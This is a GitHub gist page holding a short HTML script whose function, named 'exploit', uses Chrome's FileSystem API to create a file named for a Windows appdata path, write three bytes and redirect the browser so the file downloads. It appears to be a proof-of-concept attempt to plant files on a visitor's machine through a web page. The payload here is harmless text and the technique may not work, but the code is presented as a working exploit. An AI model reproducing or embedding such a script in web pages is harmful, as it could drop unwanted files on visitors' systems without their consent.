Last active
July 12, 2017 15:08
-
-
Save codingJWilliams/7e19760b759b81912f90bd82dbd050e1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function exploit(){ | |
window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem; | |
window.requestFileSystem(window.TEMPORARY, 1024*1024, function(fs) { | |
fs.root.getFile('%appdata%\\Roaming\\test.txt', {create: true}, function(fileEntry) { // test.bin is filename | |
fileEntry.createWriter(function(fileWriter) { | |
var arr = new Uint8Array(3); // data length | |
arr[0] = 97; // byte data; these are codes for 'abc' | |
arr[1] = 98; | |
arr[2] = 99; | |
var blob = new Blob([arr]); | |
fileWriter.addEventListener("writeend", function() { | |
// navigate to file, will download | |
location.href = fileEntry.toURL(); | |
}, false); | |
fileWriter.write(blob); | |
}, function() {}); | |
}, function() {}); | |
}, function() {});} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment